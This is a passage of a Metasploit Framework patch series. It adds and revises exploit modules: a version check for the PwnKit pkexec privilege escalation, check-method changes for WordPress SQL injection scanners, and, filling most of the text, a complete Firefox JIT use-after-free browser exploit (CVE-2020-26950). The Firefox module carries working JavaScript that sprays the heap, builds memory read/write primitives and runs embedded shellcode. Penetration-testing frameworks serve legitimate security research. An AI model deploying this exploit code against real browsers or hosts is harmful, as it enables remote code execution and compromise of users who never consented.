=~ /9/ + vulnerable_version = Rex::Version.new('0.105-18') + elsif sysinfo[:version] =~ /10/ + vulnerable_version = Rex::Version.new('0.105-25') + elsif sysinfo[:version] =~ /11/ + vulnerable_version = Rex::Version.new('0.105-31') + else + return CheckCode::Safe("Debian #{sysinfo[:version]} is not supported") + end + if pulled_version <= vulnerable_version + return CheckCode::Appears + end + end + if sysinfo[:distro] =~ /[uU]buntu/ + vprint_status('Determined host os is Ubuntu') + package_data = cmd_exec('dpkg -s policykit-1') + pulled_version = Rex::Version.new(package_data.scan(/Version:\s(.*)/)[0][0]) + vprint_status("pulled_version = #{pulled_version}") + if sysinfo[:version] =~ /18.04/ + vulnerable_version = Rex::Version.new('0.105-20') + elsif sysinfo[:version] =~ /20.04/ + vulnerable_version = Rex::Version.new('0.105-26') + elsif sysinfo[:version] =~ /21.10/ + vulnerable_version = Rex::Version.new('0.105-31') + else + return CheckCode::Safe("Ubuntu #{sysinfo[:distro]} is not supported") + end + if pulled_version <= vulnerable_version + return CheckCode::Appears + end + end + if sysinfo[:distro] =~ /[cC]entos/ + vprint_status('Determined host os is CentOS') + package_data = cmd_exec('rpm -qa | grep polkit') + vulnerable_versions = exploit_data('CVE-2021-4034', 'vuln-centos-versions.txt') + vulnerable_list = vulnerable_versions.split("\n") + vulnerable_list.each do |vulnerable| + if package_data.include?(vulnerable) + return CheckCode::Appears + end + end + end + if sysinfo[:distro] =~ /[fF]edora/ + vprint_status('Determined host os is Fedora') + return CheckCode::Safe('Fedora is not supported') + end + return CheckCode::Safe('Unsupported distro found') end def find_exec_program @@ -120,10 +193,12 @@ class MetasploitModule < Msf::Exploit::Local python_binary = find_exec_program + # Do we have the pkexec binary? if pkexec_path.nil? fail_with Failure::NotFound, 'The pkexec binary was not found; try populating PkexecPath' end + # Do we have the python binary? if python_binary.nil? fail_with Failure::NotFound, 'The python binary was not found; try populating PythonPath' end From 3f2d6b6c22a8b94fbb237c8426ca88f1a64c52fe Mon Sep 17 00:00:00 2001 From: Dhiraj Mishra Date: Sat, 12 Feb 2022 11:52:23 +0400 Subject: [PATCH 020/110] adding authors and removing C exploit reference --- .../exploits/linux/local/cve_2021_4034_pwnkit_lpe_pkexec.rb | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/modules/exploits/linux/local/cve_2021_4034_pwnkit_lpe_pkexec.rb b/modules/exploits/linux/local/cve_2021_4034_pwnkit_lpe_pkexec.rb index c01313c8e0..31ef508e52 100644 --- a/modules/exploits/linux/local/cve_2021_4034_pwnkit_lpe_pkexec.rb +++ b/modules/exploits/linux/local/cve_2021_4034_pwnkit_lpe_pkexec.rb @@ -35,7 +35,7 @@ class MetasploitModule < Msf::Exploit::Local 'License' => MSF_LICENSE, 'Author' => [ 'Qualys Security', # Original vulnerability discovery - 'Andris Raugulis', # Exploit writeup and PoC + 'Brendan', # Metasploit Module 'Dhiraj Mishra' # Metasploit Module ], 'DisclosureDate' => '2022-01-25', @@ -60,8 +60,7 @@ class MetasploitModule < Msf::Exploit::Local 'Privileged' => true, 'References' => [ [ 'CVE', '2021-4034' ], - [ 'URL', 'https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt' ], - [ 'URL', 'https://github.com/arthepsy/CVE-2021-4034' ] # PoC Reference + [ 'URL', 'https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt' ] ], 'Notes' => { 'Reliability' => [ REPEATABLE_SESSION ], From 9098709fc3f888b7f8b9921e5eee81d15e9b5fb6 Mon Sep 17 00:00:00 2001 From: alanfoster Date: Sat, 12 Feb 2022 22:44:38 +0000 Subject: [PATCH 021/110] Update Meterpreter file existence tests for CI environments --- test/modules/post/test/file.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/test/modules/post/test/file.rb b/test/modules/post/test/file.rb index 6bdcf71fbc..2d8e2b2a83 100644 --- a/test/modules/post/test/file.rb +++ b/test/modules/post/test/file.rb @@ -128,7 +128,8 @@ class MetasploitModule < Msf::Post '/etc/passwd', '/etc/master.passwd', '%WINDIR%\\system32\\notepad.exe', - '%WINDIR%\\system32\\calc.exe' + '%WINDIR%\\system32\\calc.exe', + File.expand_path(__FILE__) ].each do |path| ret = true if file?(path) end From e1b933e0a8dcce811910a17f45406acc795a9bb7 Mon Sep 17 00:00:00 2001 From: h00die Date: Sun, 13 Feb 2022 15:40:57 -0500 Subject: [PATCH 022/110] change wp_registrationmagic check method --- .../scanner/http/wp_registrationmagic_sqli.rb | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) diff --git a/modules/auxiliary/scanner/http/wp_registrationmagic_sqli.rb b/modules/auxiliary/scanner/http/wp_registrationmagic_sqli.rb index 7aa02945bc..b757a942b4 100644 --- a/modules/auxiliary/scanner/http/wp_registrationmagic_sqli.rb +++ b/modules/auxiliary/scanner/http/wp_registrationmagic_sqli.rb @@ -49,19 +49,21 @@ class MetasploitModule < Msf::Auxiliary ] end - def run_host(ip) + def check_host(_ip) unless wordpress_and_online? - vprint_error('Server not online or not detected as wordpress') - return + return Msf::Exploit::CheckCode::Safe('Server not online or not detected as wordpress') end checkcode = check_plugin_version_from_readme('custom-registration-form-builder-with-submission-manager', '5.0.1.6') if checkcode == Msf::Exploit::CheckCode::Safe - vprint_error('RegistrationMagic version not vulnerable') - return + return Msf::Exploit::CheckCode::Safe('RegistrationMagic version not vulnerable') end - print_good('Vulnerable version of RegistrationMagic detected') + print_good('Vulnerable version of RegistrationMagic detected') + checkcode + end + + def run_host(ip) cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD']) fail_with(Failure::NoAccess, 'Invalid login, check credentials') if cookie.nil? From 392ed7e9a8fcda49144fc4c4fad9204cd55bb184 Mon Sep 17 00:00:00 2001 From: h00die Date: Sun, 13 Feb 2022 15:50:24 -0500 Subject: [PATCH 023/110] change wp_modern_events_calendar check method --- .../scanner/http/wp_modern_events_calendar_sqli.rb | 14 +++++++++----- 1 file changed, 9 insertions(+), 5 deletions(-) diff --git a/modules/auxiliary/scanner/http/wp_modern_events_calendar_sqli.rb b/modules/auxiliary/scanner/http/wp_modern_events_calendar_sqli.rb index 5fe032a3c8..5d1741c6bd 100644 --- a/modules/auxiliary/scanner/http/wp_modern_events_calendar_sqli.rb +++ b/modules/auxiliary/scanner/http/wp_modern_events_calendar_sqli.rb @@ -47,17 +47,21 @@ class MetasploitModule < Msf::Auxiliary ] end - def run_host(ip) + def check_host(_ip) unless wordpress_and_online? - fail_with Failure::NotVulnerable, 'Server not online or not detected as wordpress' + return Msf::Exploit::CheckCode::Safe('Server not online or not detected as wordpress') end checkcode = check_plugin_version_from_readme('modern-events-calendar-lite', '6.1.5') - unless [Msf::Exploit::CheckCode::Vulnerable, Msf::Exploit::CheckCode::Appears, Msf::Exploit::CheckCode::Detected].include?(checkcode) - fail_with Failure::NotVulnerable, 'Modern Events Calendar version not vulnerable' + if checkcode == Msf::Exploit::CheckCode::Safe + return Msf::Exploit::CheckCode::Safe('Modern Events Calendar version not vulnerable') end - print_good('Vulnerable version of Modern Events Calendar detected') + print_good('Vulnerable version of Modern Events Calendar detected') + checkcode + end + + def run_host(ip) @sqli = create_sqli(dbms: MySQLi::TimeBasedBlind, opts: { hex_encode_strings: true }) do |payload| # also tried encoder: :base64 and still not quite getting the right answer. d = Rex::Text.rand_text_numeric(4) # the webapp takes this parameter and uses it two times in the query, therefore our sleep is 2x what it should be. so we need to cut it. From 14fbbff00beae1623446d1ac2d40b1a52db6c826 Mon Sep 17 00:00:00 2001 From: Tim W Date: Mon, 14 Feb 2022 10:36:19 +0000 Subject: [PATCH 024/110] initial commit of CVE-2020-26950 --- .../browser/firefox_jit_use_after_free.rb | 485 ++++++++++++++++++ 1 file changed, 485 insertions(+) create mode 100644 modules/exploits/linux/browser/firefox_jit_use_after_free.rb diff --git a/modules/exploits/linux/browser/firefox_jit_use_after_free.rb b/modules/exploits/linux/browser/firefox_jit_use_after_free.rb new file mode 100644 index 0000000000..45618bee63 --- /dev/null +++ b/modules/exploits/linux/browser/firefox_jit_use_after_free.rb @@ -0,0 +1,485 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ManualRanking + + include Msf::Exploit::Remote::HttpServer + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Firefox MCallGetProperty Write Side Effects Use After Free Exploit', + 'Description' => %q{ + This modules exploits CVE-2020-26950, a use after free exploit in Firefox. + The MCallGetProperty opcode can be emitted with unmet assumptions resulting + in an exploitable use-after-free condition. + + This exploit uses a somewhat novel technique of spraying ArgumentsData + structures in order to construct primitives. The shellcode is forced into + executable memory via the JIT compiler, and executed by writing to the + JIT region pointer. + + This exploit does not contain a sandbox escape, so firefox must be run + with the MOZ_DISABLE_CONTENT_SANDBOX environment variable set, in order + for the shellcode to run successfully. + + This vulnerability affects Firefox < 82.0.3, Firefox ESR < 78.4.1, and + Thunderbird < 78.4.2. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + '360 ESG Vulnerability Research Institute', # discovery + 'maxpl0it', # writeup and exploit + 'timwr', # metasploit module + ], + 'References' => [ + ['CVE', '2020-26950'], + ['URL', 'https://www.mozilla.org/en-US/security/advisories/mfsa2020-49/#CVE-2020-26950'], + ['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=1675905'], + ['URL', 'https://www.sentinelone.com/labs/firefox-jit-use-after-frees-exploiting-cve-2020-26950/'], + ], + 'Arch' => [ ARCH_X64 ], + 'Platform' => ['linux'], + 'DefaultTarget' => 0, + 'Targets' => + [ + [ 'Automatic', {}], + ], + 'DisclosureDate' => '2020-11-18' + ) + ) + register_advanced_options([ + OptBool.new('DEBUG_EXPLOIT', [false, 'Show debug information during exploitation', false]), + ]) + end + + def on_request_uri(cli, request) + if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*} + print_status("[*] #{request.body}") + send_response(cli, '') + return + end + + print_status("Sending #{request.uri} to #{request['User-Agent']}") + shellcode = payload.encoded + + jscript = <<~JS + +// Triggers the vulnerability +function jitme(cons, interesting, i) { + interesting.x1 = 10; // Make sure the MSlots is saved + + new cons(); // Trigger the vulnerability - Reallocates the object slots + + // Allocate a large array on top of this previous slots location. + let target = [0,1,2,3,4,5,6,7,8,9,10,11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383, 384, 385, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415, 416, 417, 418, 419, 420, 421, 422, 423, 424, 425, 426, 427, 428, 429, 430, 431, 432, 433, 434, 435, 436, 437, 438, 439, 440, 441, 442, 443, 444, 445, 446, 447, 448, 449, 450, 451, 452, 453, 454, 455, 456, 457, 458, 459, 460, 461, 462, 463, 464, 465, 466, 467, 468, 469, 470, 471, 472, 473, 474, 475, 476, 477, 478, 479, 480, 481, 482, 483, 484, 485, 486, 487, 488, 489]; + //11,12,13,14,15,16,17,18,19,20,21, ... ]; // Goes on to 489 to be close to the number of properties ‘cons’ has + + + // Avoid Elements Copy-On-Write by pushing a value + target.push(i); + + // Write the Initialized Length, Capacity, and Length to be larger than it is + // This will work when interesting == cons + interesting.x1 = 3.476677904727e-310; + interesting.x0 = 3.4766779039175e-310; + + // Return the corrupted array + return target; +} + +// Initialises vulnerable objects +function init() { + // arr will contain our sprayed objects + var arr = []; + + // We'll create one object... + var cons = function() {}; + for(j=0; j<512; j++) cons['x'+j] = j; // Add 512 properties (Large jemalloc allocation) + arr.push(cons); + + // ...then duplicate it a whole bunch of times + // The number of times has two uses: + // - Heap spray - Stops any already freed objects getting in our way + // - Allows us to get the jitme function compiled + for (var i = 0; i < 20000; i++) arr.push(Object.assign(function(){}, cons)); + + // Return the array + return arr; +} + +// Global that holds the total number of objects in our original spray array +TOTAL = 0; + +// Global that holds the target argument so it can be used later +arg = 0; + +// setup_prim - Performs recursion to get the vulnerable arguments object +// arguments[0] - Original spray array +// arguments[1] - Recursive depth counter +// arguments[2]+ - Numbers to pad to the right reallocation size +function setup_prim() { + // Base case of our recursion + // If we have reached the end of the original spray array... + if(arguments[1] == TOTAL) { + + // Delete an argument to generate the RareArgumentsData pointer + delete arguments[3]; + + // Read out of bounds to the next object (sprayed objects) + // Check whether the RareArgumentsData pointer is null + if(evil[511] != 0) return arguments; + + // If it was null, then we return and try the next one + return 0; + } + + // Get the cons value + let cons = arguments[0][arguments[1]]; + + // Move the pointer (could just do cons.p481 = 481, but this is more fun) + new cons(); + + // Recursive call + res = setup_prim(arguments[0], arguments[1]+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383, 384, 385, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415, 416, 417, 418, 419, 420, 421, 422, 423, 424, 425, 426, 427, 428, 429, 430, 431, 432, 433, 434, 435, 436, 437, 438, 439, 440, 441, 442, 443, 444, 445, 446, 447, 448, 449, 450, 451, 452, 453, 454, 455, 456, 457, 458, 459, 460, 461, 462, 463, 464, 465, 466, 467, 468, 469, 470, 471, 472, 473, 474, 475, 476, 477, 478, 479, 480 ); + + // If the returned value is non-zero, then we found our target ArgumentsData object, so keep returning it + if(res != 0) return res; + + // Otherwise, repeat the base case (delete an argument) + delete arguments[3]; + + // Check if the next object has a null RareArgumentsData pointer + if(evil[511] != 0) return arguments; // Return arguments if not + + // Otherwise just return 0 and try the next one + return 0; +} + +// weak_read32 - Bit-by-bit read +function weak_read32(arg, addr) { + // Set the RareArgumentsData pointer to the address + evil[511] = addr; + + // Used to hold the leaked data + let val = 0; + + // Read it bit-by-bit for 32 bits + // Endianness is taken into account + for(let i = 32; i >= 0; i--) { + val = val << 1; // Shift + if(arg[i] == undefined) { + val = val | 1; + } + } + + // Return the integer + return val; +} + +// weak_read64 - Bit-by-bit read using BigUint64Array +function weak_read64(arg, addr) { + // Set the RareArgumentsData pointer to the address + evil[511] = addr; + + // Used to hold the leaked data + val = new BigUint64Array(1); + val[0] = 0n; + + // Read it bit-by-bit for 64 bits + for(let i = 64; i >= 0; i--) { + val[0] = val[0] << 1n; + if(arg[i] == undefined) { + val[0] = val[0] | 1n; + } + } + + // Return the BigInt + return val[0]; +} + +// write_nan - Uses the bit-setting capability of the bitmap to create the NaN-Box +function write_nan(arg, addr) { + evil[511] = addr; + for(let i = 64 - 15; i < 64; i++) delete arg[i]; // Delete bits 49-64 to create 0xfffe pointer box +} + +// write - Write a value to an address +function write(address, value) { + // Set the fake ArrayBuffer backing store address + address = dbl_to_bigint(address) + target_uint32arr[14] = parseInt(address) & 0xffffffff + target_uint32arr[15] = parseInt(address >> 32n); + + // Use the fake ArrayBuffer backing store to write a value to a location + value = dbl_to_bigint(value); + fake_arrbuf[1] = parseInt(value >> 32n); + fake_arrbuf[0] = parseInt(value & 0xffffffffn); +} + +// addrof - Gets the address of a given object +function addrof(arg, o) { + // Set the 5th property of the arguments object + arg[5] = o; + + // Get the address of the 5th property + target = ad_location + (7n * 8n) // [len][deleted][0][1][2][3][4][5] (index 7) + + // Set the fake ArrayBuffer backing store to point to this location + target_uint32arr[14] = parseInt(target) & 0xffffffff; + target_uint32arr[15] = parseInt(target >> 32n); + + // Read the address of the object o + return (BigInt(fake_arrbuf[1] & 0xffff) << 32n) + BigInt(fake_arrbuf[0]); +} + +// shellcode - Constant values which hold our shellcode to pop xcalc. +function shellcode(){ + find_me = 5.40900888e-315; // 0x41414141 in memory + A = -6.828527034422786e-229; // 0x9090909090909090 + B = 8.568532312320605e+170; + C = 1.4813365150669252e+248; + D = -6.032447120847604e-264; + E = -6.0391189260385385e-264; + F = 1.0842822352493598e-25; + G = 9.241363425014362e+44; + H = 2.2104256869204514e+40; + I = 2.4929675059396527e+40; + J = 3.2459699498717e-310; + K = 1.637926e-318; +} + +// helper functions +var conv_buf = new ArrayBuffer(8); +var f64_buf = new Float64Array(conv_buf); +var u64_buf = new Uint32Array(conv_buf); + +function dbl_to_bigint(val) { + f64_buf[0] = val; + return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); +} + +function bigint_to_dbl(val) { + u64_buf[0] = Number(val & 0xffffffffn); + u64_buf[1] = Number(val >> 32n); + return f64_buf[0]; +} + + +// main - Performs the exploit +function main() { + + let i = 0; + + // ensure the shellcode is in jit rwx memory + for(i = 0;i < 0x5000; i++) shellcode(); + + // The jitme function returns arrays. We'll save them, just in case. + let arr_saved = []; + + // Get the sprayed objects + let arr = init(); + + // This is our target object. Choosing one of the end ones so that there + // is enough time for jitme to be compiled + let interesting = arr[arr.length - 10]; + + // Iterate over the vulnerable object array + for (i = 0; i < arr.length; i++) { + // Run the jitme function across the array + corr_arr = jitme(arr[i], interesting, i); + + // Save the generated array. Never trust the garbage collector. + arr_saved[i] = corr_arr; + + // Find the corrupted array + if(corr_arr.length != 491) { + // Save it for future evil + evil = corr_arr + break; + } + } + + if(evil == 0) { + console.log("[-] Failed to get the corrupted array"); + return; + } + console.log("[+] got the corrupted array " + evil.length); + + TOTAL=arr.length; + arg = setup_prim(arr, i+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383, 384, 385, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415, 416, 417, 418, 419, 420, 421, 422, 423, 424, 425, 426, 427, 428, 429, 430, 431, 432, 433, 434, 435, 436, 437, 438, 439, 440, 441, 442, 443, 444, 445, 446, 447, 448, 449, 450, 451, 452, 453, 454, 455, 456, 457, 458, 459, 460, 461, 462, 463, 464, 465, 466, 467, 468, 469, 470, 471, 472, 473, 474, 475, 476, 477, 478, 479, 480); + + old_rareargdat_ptr = evil[511]; + console.log("[+] Leaked nursery location: " + dbl_to_bigint(old_rareargdat_ptr).toString(16)); + + iterator = dbl_to_bigint(old_rareargdat_ptr); // Start from this value + counter = 0; // Used to prevent a while(true) situation + while(counter < 0x200) { + // Read the current address + output = weak_read32(arg, bigint_to_dbl(iterator)); + + // Check if it's the expected size value for our ArgumentsObject object + if(output == 0x1e10 || output == 0x1e20) { + // If it is, then read the ArgumentsData pointer + ad_location = weak_read64(arg, bigint_to_dbl(iterator + 8n)); + + // Get the pointer in ArgumentsData to RareArgumentsData + ptr_in_argdat = weak_read64(arg, bigint_to_dbl(ad_location + 8n)); + + // ad_location + 8 points to the RareArgumentsData pointer, so this should match + // We do this because after spraying arguments, there may be a few ArgumentObjects to go past + if((ad_location + 8n) == ptr_in_argdat) break; + } else { + if (output != 0 && output != 8) { + //console.log(output.toString(16)); + } + } + + // Iterate backwards + iterator = iterator - 8n; + + // Increment counter + counter += 1; + } + + if(counter == 0x200) { + console.log("[-] Failed to get AD location"); + return; + } + + console.log("[+] AD location: " + ad_location.toString(16)); + + // The target Uint32Array - A large size value to: + // - Help find the object (Not many 0x00101337 values nearby!) + // - Give enough space for 0xfffff so we can fake a Nursery Cell ((ptr & 0xfffffffffff00000) | 0xfffe8 must be set to 1 to avoid crashes) + target_uint32arr = new Uint32Array(0x101337); + + // Find the Uint32Array starting from the original leaked Nursery pointer + iterator = dbl_to_bigint(old_rareargdat_ptr); + counter = 0; // Use a counter + while(counter < 0x5000) { + + // Read a memory address + output = weak_read32(arg, bigint_to_dbl(iterator)); + + // If we have found the right size value, we have found the Uint32Array! + if(output == 0x101337) break; + + // Check the next memory location + iterator = iterator + 8n; + + // Increment the counter + counter += 1; + } + + if(counter == 0x5000) { + console.log("[-] Failed to find the Uint32Array"); + return; + } + + // Subtract from the size value address to get to the start of the Uint32Array + arr_buf_addr = iterator - 40n; + + // Get the Array Buffer backing store + arr_buf_loc = weak_read64(arg, bigint_to_dbl(iterator + 16n)); + console.log("[+] AB Location: " + arr_buf_loc.toString(16)); + + // Create a fake ArrayBuffer through cloning + iterator = arr_buf_addr; + for(i=0;i<64;i++) { + output = weak_read32(arg, bigint_to_dbl(iterator)); + target_uint32arr[i] = output; + iterator = iterator + 4n; + } + + // Cell Header - Set it to Nursery to pass isNursery() + target_uint32arr[0x3fffa] = 1; + + + // Write an unboxed pointer to arguments[0] + evil[512] = bigint_to_dbl(arr_buf_loc); + + // Make it NaN-Boxed + write_nan(arg, bigint_to_dbl(ad_location + 16n)); // Points to evil[512]/arguments[0] + + // From here we have a fake UintArray in arg[0] + // Pointer can be changed using target_uint32arr[14] and target_uint32arr[15] + fake_arrbuf = arg[0]; + + // Get the address of the shellcode function object + shellcode_addr = addrof(arg, shellcode); + console.log("[+] Function is at: " + shellcode_addr.toString(16)); + + // Get the jitInfo pointer in the JSFunction object + jitinfo = weak_read64(arg, bigint_to_dbl(shellcode_addr + 0x30n)); // JSFunction.u.native.extra.jitInfo_ + console.log("[+] jitinfo: " + jitinfo.toString(16)); + + // We can then fetch the RX region from here + rx_region = weak_read64(arg, bigint_to_dbl(jitinfo)); + console.log("[+] RX Region: " + rx_region.toString(16)); + + iterator = rx_region; // Start from the RX region + found = false + // Iterate to find the 0x41414141 value in-memory. 8 bytes after this is the start of the shellcode. + for(i = 0; i < 0x800; i++) { + data = weak_read64(arg, bigint_to_dbl(iterator)); + if(data == 0x41414141n) { + iterator = iterator + 8n; + found = true; + break; + } + iterator = iterator + 8n; + } + if(!found) { + console.log("[-] Failed to find the JIT start"); + return; + } + + // We now have a pointer to the start of the shellcode + shellcode_location = iterator; + console.log("[+] Shellcode start: " + shellcode_location.toString(16)); + + // And can now overwrite the previous jitInfo pointer with our shellcode pointer + write(bigint_to_dbl(jitinfo), bigint_to_dbl(shellcode_location)); + + console.log("[*] Triggering...") + shellcode(); // Triggering our shellcode is as simple as calling the function again. +} + +main(); + JS + + if datastore['DEBUG_EXPLOIT'] + debugjs = <<~JS + print = function(arg) { + var request = new XMLHttpRequest(); + request.open("POST", "/print", false); + request.send("" + arg); + }; + JS + + jscript = "#{debugjs}#{jscript}" + else + jscript.gsub!(%r{//.*$}, '') # strip comments + jscript.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') # strip print(*); + end + + html = %( + + + +) + send_response(cli, html, { + 'Content-Type' => 'text/html', + 'Cache-Control' => 'no-cache, no-store, must-revalidate', + 'Pragma' => 'no-cache', 'Expires' => '0' + }) + end + +end From 098a82a9d0580e29248f5908e5fa93c2f4b4a624 Mon Sep 17 00:00:00 2001 From: Tim W Date: Mon, 14 Feb 2022 11:21:32 +0000 Subject: [PATCH 025/110] cleanup and encode shellcode --- .../browser/firefox_jit_use_after_free.rb | 59 +++++++++---------- 1 file changed, 28 insertions(+), 31 deletions(-) diff --git a/modules/exploits/linux/browser/firefox_jit_use_after_free.rb b/modules/exploits/linux/browser/firefox_jit_use_after_free.rb index 45618bee63..dcdee2941a 100644 --- a/modules/exploits/linux/browser/firefox_jit_use_after_free.rb +++ b/modules/exploits/linux/browser/firefox_jit_use_after_free.rb @@ -59,13 +59,23 @@ class MetasploitModule < Msf::Exploit::Remote def on_request_uri(cli, request) if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*} - 